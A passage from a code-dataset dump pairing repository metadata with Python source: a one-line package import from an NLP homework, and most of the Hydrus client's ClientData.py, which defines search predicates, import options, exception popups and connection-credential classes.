] | aluminium_71@outlook.com |
eedf52d39db0f7cbd35b1da68b6f88b87aa7ab17 | 4aed67820732a4f421749b87cfecb652a5dd6a39 | /homework5/homework5/predictors/__init__.py | 3c3624420450332930a1ef5ea0d4c0f304e28e2e | [] | no_license | 501Good/LTAT.01.001-Natural-language-processing-2018-19-spring | 4e9c0845963be13284ec880ad9a630ee35154930 | 1d42e2a3b64086ce5651bc8c98edeb64ec64bc0d | refs/heads/master | 2020-05-09T13:18:07.652688 | 2019-05-10T07:00:22 | 2019-05-10T07:00:22 | 181,145,901 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 71 | py | from homework5.predictors.predictors import SentenceClassifierPredictor | [
"milintsevich@gmail.com"
] | milintsevich@gmail.com |
65e39f05502ee1e4f16aa0274c7f28f5ee17a0e9 | bf2390ac5b116177acebd424707167c5c22d081a | /include/ClientData.py | e10c43a7a89c916e059cfdba2a21e69ac7991739 | [
"WTFPL"
] | permissive | bigretromike/hydrus | 1cd842129da3e1851a7ad0559790a4895cad6887 | 6da58bc9df51c75fa65173b182166deb3259278e | refs/heads/master | 2021-01-24T20:25:24.164062 | 2015-11-13T09:06:38 | 2015-11-13T09:06:38 | 44,671,599 | 0 | 0 | null | 2015-11-13T09:06:38 | 2015-10-21T11:26:12 | Python | UTF-8 | Python | false | false | 110,042 | py | import ClientConstants as CC
import ClientDefaults
import ClientDownloading
import ClientFiles
import ClientNetworking
import collections
import datetime
import HydrusConstants as HC
import HydrusExceptions
import HydrusSerialisable
import HydrusTags
import threading
import traceback
import os
import random
import shutil
import sqlite3
import stat
import sys
import time
import wx
import yaml
import HydrusData
import HydrusGlobals
import HydrusThreading
def AddPaddingToDimensions( dimensions, padding ):
( x, y ) = dimensions
return ( x + padding, y + padding )
def CatchExceptionClient( etype, value, tb ):
try:
job_key = HydrusThreading.JobKey()
if etype == HydrusExceptions.ShutdownException:
return
elif etype == HydrusExceptions.DBException:
( text, caller_traceback, db_traceback ) = value
job_key.SetVariable( 'popup_title', 'Database Error!' )
job_key.SetVariable( 'popup_text_1', text )
job_key.SetVariable( 'popup_caller_traceback', caller_traceback )
job_key.SetVariable( 'popup_db_traceback', db_traceback )
else:
trace_list = traceback.format_tb( tb )
trace = ''.join( trace_list )
if etype == wx.PyDeadObjectError:
print( 'Got a PyDeadObjectError, which can probably be ignored, but here it is anyway:' )
print( HydrusData.ToUnicode( value ) )
print( trace )
return
try: job_key.SetVariable( 'popup_title', HydrusData.ToUnicode( etype.__name__ ) )
except: job_key.SetVariable( 'popup_title', HydrusData.ToUnicode( etype ) )
job_key.SetVariable( 'popup_text_1', HydrusData.ToUnicode( value ) )
job_key.SetVariable( 'popup_traceback', trace )
text = job_key.ToString()
print( '' )
print( 'The following uncaught exception occured at ' + HydrusData.ConvertTimestampToPrettyTime( HydrusData.GetNow() ) + ':' )
try: print( text )
except: print( repr( text ) )
sys.stdout.flush()
sys.stderr.flush()
HydrusGlobals.client_controller.pub( 'message', job_key )
except:
text = 'Encountered an error I could not parse:'
text += os.linesep
text += HydrusData.ToUnicode( ( etype, value, tb ) )
try: text += traceback.format_exc()
except: pass
HydrusData.ShowText( text )
time.sleep( 1 )
def ConvertServiceKeysToContentUpdatesToPrettyString( service_keys_to_content_updates ):
num_files = 0
actions = set()
locations = set()
extra_words = ''
for ( service_key, content_updates ) in service_keys_to_content_updates.items():
if len( content_updates ) > 0:
name = HydrusGlobals.client_controller.GetServicesManager().GetService( service_key ).GetName()
locations.add( name )
for content_update in content_updates:
( data_type, action, row ) = content_update.ToTuple()
if data_type == HC.CONTENT_TYPE_MAPPINGS: extra_words = ' tags for'
actions.add( HC.content_update_string_lookup[ action ] )
num_files += len( content_update.GetHashes() )
s = ', '.join( locations ) + '->' + ', '.join( actions ) + extra_words + ' ' + HydrusData.ConvertIntToPrettyString( num_files ) + ' files'
return s
def ConvertServiceKeysToTagsToServiceKeysToContentUpdates( hashes, service_keys_to_tags ):
service_keys_to_content_updates = {}
for ( service_key, tags ) in service_keys_to_tags.items():
if service_key == CC.LOCAL_TAG_SERVICE_KEY: action = HC.CONTENT_UPDATE_ADD
else: action = HC.CONTENT_UPDATE_PEND
content_updates = [ HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, action, ( tag, hashes ) ) for tag in tags ]
service_keys_to_content_updates[ service_key ] = content_updates
return service_keys_to_content_updates
def ConvertShortcutToPrettyShortcut( modifier, key ):
if modifier == wx.ACCEL_NORMAL: modifier = ''
elif modifier == wx.ACCEL_ALT: modifier = 'alt'
elif modifier == wx.ACCEL_CTRL: modifier = 'ctrl'
elif modifier == wx.ACCEL_SHIFT: modifier = 'shift'
if key in range( 65, 91 ): key = chr( key + 32 ) # + 32 for converting ascii A -> a
elif key in range( 97, 123 ): key = chr( key )
else: key = CC.wxk_code_string_lookup[ key ]
return ( modifier, key )
def ConvertZoomToPercentage( zoom ):
zoom_percent = zoom * 100
if zoom in CC.ZOOMS:
pretty_zoom = '%i' % zoom_percent + '%'
else:
pretty_zoom = '%.2f' % zoom_percent + '%'
return pretty_zoom
def DeletePath( path ):
if HC.options[ 'delete_to_recycle_bin' ] == True:
HydrusData.RecyclePath( path )
else:
HydrusData.DeletePath( path )
def GetMediasTagCount( pool, tag_service_key = CC.COMBINED_TAG_SERVICE_KEY, collapse_siblings = False ):
siblings_manager = HydrusGlobals.client_controller.GetManager( 'tag_siblings' )
tags_managers = []
for media in pool:
if media.IsCollection():
tags_managers.extend( media.GetSingletonsTagsManagers() )
else:
tags_managers.append( media.GetTagsManager() )
current_tags_to_count = collections.Counter()
deleted_tags_to_count = collections.Counter()
pending_tags_to_count = collections.Counter()
petitioned_tags_to_count = collections.Counter()
for tags_manager in tags_managers:
statuses_to_tags = tags_manager.GetStatusesToTags( tag_service_key )
if collapse_siblings:
statuses_to_tags = siblings_manager.CollapseStatusesToTags( statuses_to_tags )
current_tags_to_count.update( statuses_to_tags[ HC.CURRENT ] )
deleted_tags_to_count.update( statuses_to_tags[ HC.DELETED ] )
pending_tags_to_count.update( statuses_to_tags[ HC.PENDING ] )
petitioned_tags_to_count.update( statuses_to_tags[ HC.PETITIONED ] )
return ( current_tags_to_count, deleted_tags_to_count, pending_tags_to_count, petitioned_tags_to_count )
def ShowExceptionClient( e ):
job_key = HydrusThreading.JobKey()
if isinstance( e, HydrusExceptions.ShutdownException ):
return
elif isinstance( e, HydrusExceptions.DBException ):
( text, caller_traceback, db_traceback ) = e.args
job_key.SetVariable( 'popup_title', 'Database Error!' )
job_key.SetVariable( 'popup_text_1', text )
job_key.SetVariable( 'popup_caller_traceback', caller_traceback )
job_key.SetVariable( 'popup_db_traceback', db_traceback )
else:
( etype, value, tb ) = sys.exc_info()
if etype is None:
etype = type( e )
value = HydrusData.ToUnicode( e )
trace = ''.join( traceback.format_stack() )
else: trace = ''.join( traceback.format_exception( etype, value, tb ) )
if etype == wx.PyDeadObjectError:
print( 'Got a PyDeadObjectError, which can probably be ignored, but here it is anyway:' )
print( HydrusData.ToUnicode( value ) )
print( trace )
return
if hasattr( etype, '__name__' ): title = HydrusData.ToUnicode( etype.__name__ )
else: title = HydrusData.ToUnicode( etype )
job_key.SetVariable( 'popup_title', title )
job_key.SetVariable( 'popup_text_1', HydrusData.ToUnicode( value ) )
job_key.SetVariable( 'popup_traceback', trace )
text = job_key.ToString()
print( '' )
print( 'The following exception occured at ' + HydrusData.ConvertTimestampToPrettyTime( HydrusData.GetNow() ) + ':' )
try: print( text )
except: print( repr( text ) )
sys.stdout.flush()
sys.stderr.flush()
HydrusGlobals.client_controller.pub( 'message', job_key )
time.sleep( 1 )
def ShowTextClient( text ):
job_key = HydrusThreading.JobKey()
job_key.SetVariable( 'popup_text_1', HydrusData.ToUnicode( text ) )
text = job_key.ToString()
try: print( text )
except: print( repr( text ) )
HydrusGlobals.client_controller.pub( 'message', job_key )
class Booru( HydrusData.HydrusYAMLBase ):
yaml_tag = u'!Booru'
def __init__( self, name, search_url, search_separator, advance_by_page_num, thumb_classname, image_id, image_data, tag_classnames_to_namespaces ):
self._name = name
self._search_url = search_url
self._search_separator = search_separator
self._advance_by_page_num = advance_by_page_num
self._thumb_classname = thumb_classname
self._image_id = image_id
self._image_data = image_data
self._tag_classnames_to_namespaces = tag_classnames_to_namespaces
def GetData( self ): return ( self._search_url, self._search_separator, self._advance_by_page_num, self._thumb_classname, self._image_id, self._image_data, self._tag_classnames_to_namespaces )
def GetGalleryParsingInfo( self ): return ( self._search_url, self._advance_by_page_num, self._search_separator, self._thumb_classname )
def GetName( self ): return self._name
def GetNamespaces( self ): return self._tag_classnames_to_namespaces.values()
sqlite3.register_adapter( Booru, yaml.safe_dump )
class ClientOptions( HydrusSerialisable.SerialisableBase ):
SERIALISABLE_TYPE = HydrusSerialisable.SERIALISABLE_TYPE_CLIENT_OPTIONS
SERIALISABLE_VERSION = 1
def __init__( self ):
HydrusSerialisable.SerialisableBase.__init__( self )
self._dictionary = HydrusSerialisable.SerialisableDictionary()
self._lock = threading.Lock()
self._InitialiseDefaults()
def _GetSerialisableInfo( self ):
with self._lock:
serialisable_info = self._dictionary.GetSerialisableTuple()
return serialisable_info
def _InitialiseDefaults( self ):
self._dictionary[ 'default_import_tag_options' ] = HydrusSerialisable.SerialisableDictionary()
def _InitialiseFromSerialisableInfo( self, serialisable_info ):
self._dictionary = HydrusSerialisable.CreateFromSerialisableTuple( serialisable_info )
def ClearDefaultImportTagOptions( self ):
with self._lock:
self._dictionary[ 'default_import_tag_options' ] = HydrusSerialisable.SerialisableDictionary()
def GetDefaultImportTagOptions( self, gallery_identifier = None ):
with self._lock:
default_import_tag_options = self._dictionary[ 'default_import_tag_options' ]
if gallery_identifier is None:
return default_import_tag_options
else:
if gallery_identifier in default_import_tag_options:
import_tag_options = default_import_tag_options[ gallery_identifier ]
else:
default_booru_gallery_identifier = ClientDownloading.GalleryIdentifier( HC.SITE_TYPE_BOORU )
default_hentai_foundry_gallery_identifier = ClientDownloading.GalleryIdentifier( HC.SITE_TYPE_HENTAI_FOUNDRY )
default_pixiv_gallery_identifier = ClientDownloading.GalleryIdentifier( HC.SITE_TYPE_PIXIV )
default_gallery_identifier = ClientDownloading.GalleryIdentifier( HC.SITE_TYPE_DEFAULT )
guidance_import_tag_options = None
site_type = gallery_identifier.GetSiteType()
if site_type == HC.SITE_TYPE_BOORU and default_booru_gallery_identifier in default_import_tag_options:
guidance_import_tag_options = default_import_tag_options[ default_booru_gallery_identifier ]
elif site_type in ( HC.SITE_TYPE_HENTAI_FOUNDRY_ARTIST, HC.SITE_TYPE_HENTAI_FOUNDRY_TAGS ) and default_hentai_foundry_gallery_identifier in default_import_tag_options:
guidance_import_tag_options = default_import_tag_options[ default_hentai_foundry_gallery_identifier ]
elif site_type in ( HC.SITE_TYPE_PIXIV_ARTIST_ID, HC.SITE_TYPE_PIXIV_TAG ) and default_pixiv_gallery_identifier in default_import_tag_options:
guidance_import_tag_options = default_import_tag_options[ default_pixiv_gallery_identifier ]
elif default_gallery_identifier in default_import_tag_options:
guidance_import_tag_options = default_import_tag_options[ default_gallery_identifier ]
service_keys_to_namespaces = {}
service_keys_to_explicit_tags = {}
if guidance_import_tag_options is not None:
( namespaces, search_value ) = ClientDefaults.GetDefaultNamespacesAndSearchValue( gallery_identifier )
guidance_service_keys_to_namespaces = guidance_import_tag_options.GetServiceKeysToNamespaces()
for ( service_key, guidance_namespaces ) in guidance_service_keys_to_namespaces.items():
if 'all namespaces' in guidance_namespaces:
service_keys_to_namespaces[ service_key ] = namespaces
else:
service_keys_to_namespaces[ service_key ] = [ namespace for namespace in namespaces if namespace in guidance_namespaces ]
service_keys_to_explicit_tags = guidance_import_tag_options.GetServiceKeysToExplicitTags()
import_tag_options = ImportTagOptions( service_keys_to_namespaces = service_keys_to_namespaces, service_keys_to_explicit_tags = service_keys_to_explicit_tags )
return import_tag_options
def SetDefaultImportTagOptions( self, gallery_identifier, import_tag_options ):
with self._lock:
self._dictionary[ 'default_import_tag_options' ][ gallery_identifier ] = import_tag_options
HydrusSerialisable.SERIALISABLE_TYPES_TO_OBJECT_TYPES[ HydrusSerialisable.SERIALISABLE_TYPE_CLIENT_OPTIONS ] = ClientOptions
class Credentials( HydrusData.HydrusYAMLBase ):
yaml_tag = u'!Credentials'
def __init__( self, host, port, access_key = None ):
HydrusData.HydrusYAMLBase.__init__( self )
if host == 'localhost': host = '127.0.0.1'
self._host = host
self._port = port
self._access_key = access_key
def __eq__( self, other ): return self.__hash__() == other.__hash__()
def __hash__( self ): return ( self._host, self._port, self._access_key ).__hash__()
def __ne__( self, other ): return self.__hash__() != other.__hash__()
def __repr__( self ): return 'Credentials: ' + HydrusData.ToUnicode( ( self._host, self._port, self._access_key.encode( 'hex' ) ) )
def GetAccessKey( self ): return self._access_key
def GetAddress( self ): return ( self._host, self._port )
def GetConnectionString( self ):
connection_string = ''
if self.HasAccessKey(): connection_string += self._access_key.encode( 'hex' ) + '@'
connection_string += self._host + ':' + str( self._port )
return connection_string
def HasAccessKey( self ): return self._access_key is not None and self._access_key is not ''
def SetAccessKey( self, access_key ): self._access_key = access_key
class FileQueryResult( object ):
def __init__( self, media_results ):
self._hashes_to_media_results = { media_result.GetHash() : media_result for media_result in media_results }
self._hashes_ordered = [ media_result.GetHash() for media_result in media_results ]
self._hashes = set( self._hashes_ordered )
HydrusGlobals.client_controller.sub( self, 'ProcessContentUpdates', 'content_updates_data' )
HydrusGlobals.client_controller.sub( self, 'ProcessServiceUpdates', 'service_updates_data' )
def __iter__( self ):
for hash in self._hashes_ordered: yield self._hashes_to_media_results[ hash ]
def __len__( self ): return len( self._hashes_ordered )
def _Remove( self, hashes ):
for hash in hashes:
if hash in self._hashes_to_media_results:
del self._hashes_to_media_results[ hash ]
self._hashes_ordered.remove( hash )
self._hashes.difference_update( hashes )
def AddMediaResults( self, media_results ):
for media_result in media_results:
hash = media_result.GetHash()
if hash in self._hashes: continue # this is actually important, as sometimes we don't want the media result overwritten
self._hashes_to_media_results[ hash ] = media_result
self._hashes_ordered.append( hash )
self._hashes.add( hash )
def GetHashes( self ): return self._hashes
def GetMediaResult( self, hash ): return self._hashes_to_media_results[ hash ]
def GetMediaResults( self ): return [ self._hashes_to_media_results[ hash ] for hash in self._hashes_ordered ]
def ProcessContentUpdates( self, service_keys_to_content_updates ):
for ( service_key, content_updates ) in service_keys_to_content_updates.items():
for content_update in content_updates:
hashes = content_update.GetHashes()
if len( hashes ) > 0:
for hash in self._hashes.intersection( hashes ):
media_result = self._hashes_to_media_results[ hash ]
media_result.ProcessContentUpdate( service_key, content_update )
def ProcessServiceUpdates( self, service_keys_to_service_updates ):
for ( service_key, service_updates ) in service_keys_to_service_updates.items():
for service_update in service_updates:
( action, row ) = service_update.ToTuple()
if action == HC.SERVICE_UPDATE_DELETE_PENDING:
for media_result in self._hashes_to_media_results.values(): media_result.DeletePending( service_key )
elif action == HC.SERVICE_UPDATE_RESET:
for media_result in self._hashes_to_media_results.values(): media_result.ResetService( service_key )
class FileSearchContext( HydrusSerialisable.SerialisableBase ):
SERIALISABLE_TYPE = HydrusSerialisable.SERIALISABLE_TYPE_FILE_SEARCH_CONTEXT
SERIALISABLE_VERSION = 1
def __init__( self, file_service_key = CC.COMBINED_FILE_SERVICE_KEY, tag_service_key = CC.COMBINED_TAG_SERVICE_KEY, include_current_tags = True, include_pending_tags = True, predicates = None ):
if predicates is None: predicates = []
self._file_service_key = file_service_key
self._tag_service_key = tag_service_key
self._include_current_tags = include_current_tags
self._include_pending_tags = include_pending_tags
self._predicates = predicates
self._search_complete = False
self._InitialiseTemporaryVariables()
def _GetSerialisableInfo( self ):
serialisable_predicates = [ predicate.GetSerialisableTuple() for predicate in self._predicates ]
return ( self._file_service_key.encode( 'hex' ), self._tag_service_key.encode( 'hex' ), self._include_current_tags, self._include_pending_tags, serialisable_predicates, self._search_complete )
def _InitialiseFromSerialisableInfo( self, serialisable_info ):
( file_service_key, tag_service_key, self._include_current_tags, self._include_pending_tags, serialisable_predicates, self._search_complete ) = serialisable_info
self._file_service_key = file_service_key.decode( 'hex' )
self._tag_service_key = tag_service_key.decode( 'hex' )
self._predicates = [ HydrusSerialisable.CreateFromSerialisableTuple( pred_tuple ) for pred_tuple in serialisable_predicates ]
self._InitialiseTemporaryVariables()
def _InitialiseTemporaryVariables( self ):
system_predicates = [ predicate for predicate in self._predicates if predicate.GetType() in HC.SYSTEM_PREDICATES ]
self._system_predicates = FileSystemPredicates( system_predicates )
tag_predicates = [ predicate for predicate in self._predicates if predicate.GetType() == HC.PREDICATE_TYPE_TAG ]
self._tags_to_include = []
self._tags_to_exclude = []
for predicate in tag_predicates:
tag = predicate.GetValue()
if predicate.GetInclusive(): self._tags_to_include.append( tag )
else: self._tags_to_exclude.append( tag )
namespace_predicates = [ predicate for predicate in self._predicates if predicate.GetType() == HC.PREDICATE_TYPE_NAMESPACE ]
self._namespaces_to_include = []
self._namespaces_to_exclude = []
for predicate in namespace_predicates:
namespace = predicate.GetValue()
if predicate.GetInclusive(): self._namespaces_to_include.append( namespace )
else: self._namespaces_to_exclude.append( namespace )
wildcard_predicates = [ predicate for predicate in self._predicates if predicate.GetType() == HC.PREDICATE_TYPE_WILDCARD ]
self._wildcards_to_include = []
self._wildcards_to_exclude = []
for predicate in wildcard_predicates:
wildcard = predicate.GetValue()
if predicate.GetInclusive(): self._wildcards_to_include.append( wildcard )
else: self._wildcards_to_exclude.append( wildcard )
def GetFileServiceKey( self ): return self._file_service_key
def GetNamespacesToExclude( self ): return self._namespaces_to_exclude
def GetNamespacesToInclude( self ): return self._namespaces_to_include
def GetPredicates( self ): return self._predicates
def GetSystemPredicates( self ): return self._system_predicates
def GetTagServiceKey( self ): return self._tag_service_key
def GetTagsToExclude( self ): return self._tags_to_exclude
def GetTagsToInclude( self ): return self._tags_to_include
def GetWildcardsToExclude( self ): return self._wildcards_to_exclude
def GetWildcardsToInclude( self ): return self._wildcards_to_include
def IncludeCurrentTags( self ): return self._include_current_tags
def IncludePendingTags( self ): return self._include_pending_tags
def IsComplete( self ): return self._search_complete
def SetComplete( self ): self._search_complete = True
def SetPredicates( self, predicates ):
self._predicates = predicates
self._InitialiseTemporaryVariables()
HydrusSerialisable.SERIALISABLE_TYPES_TO_OBJECT_TYPES[ HydrusSerialisable.SERIALISABLE_TYPE_FILE_SEARCH_CONTEXT ] = FileSearchContext
class FileSystemPredicates( object ):
def __init__( self, system_predicates ):
self._inbox = False
self._archive = False
self._local = False
self._not_local = False
self._common_info = {}
self._limit = None
self._similar_to = None
self._file_services_to_include_current = []
self._file_services_to_include_pending = []
self._file_services_to_exclude_current = []
self._file_services_to_exclude_pending = []
self._ratings_predicates = []
for predicate in system_predicates:
predicate_type = predicate.GetType()
value = predicate.GetValue()
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_INBOX: self._inbox = True
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_ARCHIVE: self._archive = True
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_LOCAL: self._local = True
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_NOT_LOCAL: self._not_local = True
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_HASH:
hash = value
self._common_info[ 'hash' ] = hash
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_AGE:
( operator, years, months, days, hours ) = value
age = ( ( ( ( ( ( ( years * 12 ) + months ) * 30 ) + days ) * 24 ) + hours ) * 3600 )
now = HydrusData.GetNow()
# this is backwards because we are talking about age, not timestamp
if operator == '<': self._common_info[ 'min_timestamp' ] = now - age
elif operator == '>': self._common_info[ 'max_timestamp' ] = now - age
elif operator == u'\u2248':
self._common_info[ 'min_timestamp' ] = now - int( age * 1.15 )
self._common_info[ 'max_timestamp' ] = now - int( age * 0.85 )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_MIME:
mimes = value
if type( mimes ) == int: mimes = ( mimes, )
self._common_info[ 'mimes' ] = mimes
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_DURATION:
( operator, duration ) = value
if operator == '<': self._common_info[ 'max_duration' ] = duration
elif operator == '>': self._common_info[ 'min_duration' ] = duration
elif operator == '=': self._common_info[ 'duration' ] = duration
elif operator == u'\u2248':
if duration == 0: self._common_info[ 'duration' ] = 0
else:
self._common_info[ 'min_duration' ] = int( duration * 0.85 )
self._common_info[ 'max_duration' ] = int( duration * 1.15 )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_RATING:
( operator, value, service_key ) = value
self._ratings_predicates.append( ( operator, value, service_key ) )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_RATIO:
( operator, ratio_width, ratio_height ) = value
if operator == '=': self._common_info[ 'ratio' ] = ( ratio_width, ratio_height )
elif operator == u'\u2248':
self._common_info[ 'min_ratio' ] = ( ratio_width * 0.85, ratio_height )
self._common_info[ 'max_ratio' ] = ( ratio_width * 1.15, ratio_height )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_SIZE:
( operator, size, unit ) = value
size = size * unit
if operator == '<': self._common_info[ 'max_size' ] = size
elif operator == '>': self._common_info[ 'min_size' ] = size
elif operator == '=': self._common_info[ 'size' ] = size
elif operator == u'\u2248':
self._common_info[ 'min_size' ] = int( size * 0.85 )
self._common_info[ 'max_size' ] = int( size * 1.15 )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_NUM_TAGS:
( operator, num_tags ) = value
if operator == '<': self._common_info[ 'max_num_tags' ] = num_tags
elif operator == '=': self._common_info[ 'num_tags' ] = num_tags
elif operator == '>': self._common_info[ 'min_num_tags' ] = num_tags
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_WIDTH:
( operator, width ) = value
if operator == '<': self._common_info[ 'max_width' ] = width
elif operator == '>': self._common_info[ 'min_width' ] = width
elif operator == '=': self._common_info[ 'width' ] = width
elif operator == u'\u2248':
if width == 0: self._common_info[ 'width' ] = 0
else:
self._common_info[ 'min_width' ] = int( width * 0.85 )
self._common_info[ 'max_width' ] = int( width * 1.15 )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_NUM_PIXELS:
( operator, num_pixels, unit ) = value
num_pixels = num_pixels * unit
if operator == '<': self._common_info[ 'max_num_pixels' ] = num_pixels
elif operator == '>': self._common_info[ 'min_num_pixels' ] = num_pixels
elif operator == '=': self._common_info[ 'num_pixels' ] = num_pixels
elif operator == u'\u2248':
self._common_info[ 'min_num_pixels' ] = int( num_pixels * 0.85 )
self._common_info[ 'max_num_pixels' ] = int( num_pixels * 1.15 )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_HEIGHT:
( operator, height ) = value
if operator == '<': self._common_info[ 'max_height' ] = height
elif operator == '>': self._common_info[ 'min_height' ] = height
elif operator == '=': self._common_info[ 'height' ] = height
elif operator == u'\u2248':
if height == 0: self._common_info[ 'height' ] = 0
else:
self._common_info[ 'min_height' ] = int( height * 0.85 )
self._common_info[ 'max_height' ] = int( height * 1.15 )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_NUM_WORDS:
( operator, num_words ) = value
if operator == '<': self._common_info[ 'max_num_words' ] = num_words
elif operator == '>': self._common_info[ 'min_num_words' ] = num_words
elif operator == '=': self._common_info[ 'num_words' ] = num_words
elif operator == u'\u2248':
if num_words == 0: self._common_info[ 'num_words' ] = 0
else:
self._common_info[ 'min_num_words' ] = int( num_words * 0.85 )
self._common_info[ 'max_num_words' ] = int( num_words * 1.15 )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_LIMIT:
limit = value
self._limit = limit
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_FILE_SERVICE:
( operator, current_or_pending, service_key ) = value
if operator == True:
if current_or_pending == HC.CURRENT: self._file_services_to_include_current.append( service_key )
else: self._file_services_to_include_pending.append( service_key )
else:
if current_or_pending == HC.CURRENT: self._file_services_to_exclude_current.append( service_key )
else: self._file_services_to_exclude_pending.append( service_key )
if predicate_type == HC.PREDICATE_TYPE_SYSTEM_SIMILAR_TO:
( hash, max_hamming ) = value
self._similar_to = ( hash, max_hamming )
def GetFileServiceInfo( self ): return ( self._file_services_to_include_current, self._file_services_to_include_pending, self._file_services_to_exclude_current, self._file_services_to_exclude_pending )
def GetSimpleInfo( self ): return self._common_info
def GetLimit( self ): return self._limit
def GetRatingsPredicates( self ): return self._ratings_predicates
def GetSimilarTo( self ): return self._similar_to
def HasSimilarTo( self ): return self._similar_to is not None
def MustBeArchive( self ): return self._archive
def MustBeInbox( self ): return self._inbox
def MustBeLocal( self ): return self._local
def MustNotBeLocal( self ): return self._not_local
class Imageboard( HydrusData.HydrusYAMLBase ):
yaml_tag = u'!Imageboard'
def __init__( self, name, post_url, flood_time, form_fields, restrictions ):
self._name = name
self._post_url = post_url
self._flood_time = flood_time
self._form_fields = form_fields
self._restrictions = restrictions
def IsOkToPost( self, media_result ):
( hash, inbox, size, mime, timestamp, width, height, duration, num_frames, num_words, tags_manager, locations_manager, local_ratings, remote_ratings ) = media_result.ToTuple()
if CC.RESTRICTION_MIN_RESOLUTION in self._restrictions:
( min_width, min_height ) = self._restrictions[ CC.RESTRICTION_MIN_RESOLUTION ]
if width < min_width or height < min_height: return False
if CC.RESTRICTION_MAX_RESOLUTION in self._restrictions:
( max_width, max_height ) = self._restrictions[ CC.RESTRICTION_MAX_RESOLUTION ]
if width > max_width or height > max_height: return False
if CC.RESTRICTION_MAX_FILE_SIZE in self._restrictions and size > self._restrictions[ CC.RESTRICTION_MAX_FILE_SIZE ]: return False
if CC.RESTRICTION_ALLOWED_MIMES in self._restrictions and mime not in self._restrictions[ CC.RESTRICTION_ALLOWED_MIMES ]: return False
return True
def GetBoardInfo( self ): return ( self._post_url, self._flood_time, self._form_fields, self._restrictions )
def GetName( self ): return self._name
sqlite3.register_adapter( Imageboard, yaml.safe_dump )
class ImportFileOptions( HydrusSerialisable.SerialisableBase ):
SERIALISABLE_TYPE = HydrusSerialisable.SERIALISABLE_TYPE_IMPORT_FILE_OPTIONS
SERIALISABLE_VERSION = 1
def __init__( self, automatic_archive = None, exclude_deleted = None, min_size = None, min_resolution = None ):
HydrusSerialisable.SerialisableBase.__init__( self )
self._automatic_archive = automatic_archive
self._exclude_deleted = exclude_deleted
self._min_size = min_size
self._min_resolution = min_resolution
def _GetSerialisableInfo( self ):
return ( self._automatic_archive, self._exclude_deleted, self._min_size, self._min_resolution )
def _InitialiseFromSerialisableInfo( self, serialisable_info ):
( self._automatic_archive, self._exclude_deleted, self._min_size, self._min_resolution ) = serialisable_info
def FileIsValid( self, size, resolution = None ):
if self._min_size is not None and size < self._min_size:
return False
if resolution is not None and self._min_resolution is not None:
( x, y ) = resolution
( min_x, min_y ) = self._min_resolution
if x < min_x or y < min_y:
return False
return True
def GetAutomaticArchive( self ):
return self._automatic_archive
def GetExcludeDeleted( self ):
return self._exclude_deleted
def ToTuple( self ):
return ( self._automatic_archive, self._exclude_deleted, self._min_size, self._min_resolution )
HydrusSerialisable.SERIALISABLE_TYPES_TO_OBJECT_TYPES[ HydrusSerialisable.SERIALISABLE_TYPE_IMPORT_FILE_OPTIONS ] = ImportFileOptions
class ImportTagOptions( HydrusSerialisable.SerialisableBase ):
SERIALISABLE_TYPE = HydrusSerialisable.SERIALISABLE_TYPE_IMPORT_TAG_OPTIONS
SERIALISABLE_VERSION = 2
def __init__( self, service_keys_to_namespaces = None, service_keys_to_explicit_tags = None ):
HydrusSerialisable.SerialisableBase.__init__( self )
if service_keys_to_namespaces is None:
service_keys_to_namespaces = {}
if service_keys_to_explicit_tags is None:
service_keys_to_explicit_tags = {}
self._service_keys_to_namespaces = service_keys_to_namespaces
self._service_keys_to_explicit_tags = service_keys_to_explicit_tags
def _GetSerialisableInfo( self ):
safe_service_keys_to_namespaces = { service_key.encode( 'hex' ) : list( namespaces ) for ( service_key, namespaces ) in self._service_keys_to_namespaces.items() }
safe_service_keys_to_explicit_tags = { service_key.encode( 'hex' ) : list( tags ) for ( service_key, tags ) in self._service_keys_to_explicit_tags.items() }
return ( safe_service_keys_to_namespaces, safe_service_keys_to_explicit_tags )
def _InitialiseFromSerialisableInfo( self, serialisable_info ):
( safe_service_keys_to_namespaces, safe_service_keys_to_explicit_tags ) = serialisable_info
self._service_keys_to_namespaces = { service_key.decode( 'hex' ) : set( namespaces ) for ( service_key, namespaces ) in safe_service_keys_to_namespaces.items() }
self._service_keys_to_explicit_tags = { service_key.decode( 'hex' ) : set( tags ) for ( service_key, tags ) in safe_service_keys_to_explicit_tags.items() }
def _UpdateSerialisableInfo( self, version, old_serialisable_info ):
if version == 1:
safe_service_keys_to_namespaces = old_serialisable_info
safe_service_keys_to_explicit_tags = {}
new_serialisable_info = ( safe_service_keys_to_namespaces, safe_service_keys_to_explicit_tags )
return ( 2, new_serialisable_info )
def GetServiceKeysToExplicitTags( self ):
return dict( self._service_keys_to_explicit_tags )
def GetServiceKeysToNamespaces( self ):
return dict( self._service_keys_to_namespaces )
def GetServiceKeysToContentUpdates( self, hash, tags ):
tags = [ tag for tag in tags if tag is not None ]
service_keys_to_tags = collections.defaultdict( set )
siblings_manager = HydrusGlobals.client_controller.GetManager( 'tag_siblings' )
parents_manager = HydrusGlobals.client_controller.GetManager( 'tag_parents' )
for ( service_key, namespaces ) in self._service_keys_to_namespaces.items():
tags_to_add_here = []
if len( namespaces ) > 0:
for namespace in namespaces:
if namespace == '': tags_to_add_here.extend( [ tag for tag in tags if not ':' in tag ] )
else: tags_to_add_here.extend( [ tag for tag in tags if tag.startswith( namespace + ':' ) ] )
tags_to_add_here = HydrusTags.CleanTags( tags_to_add_here )
if len( tags_to_add_here ) > 0:
tags_to_add_here = siblings_manager.CollapseTags( tags_to_add_here )
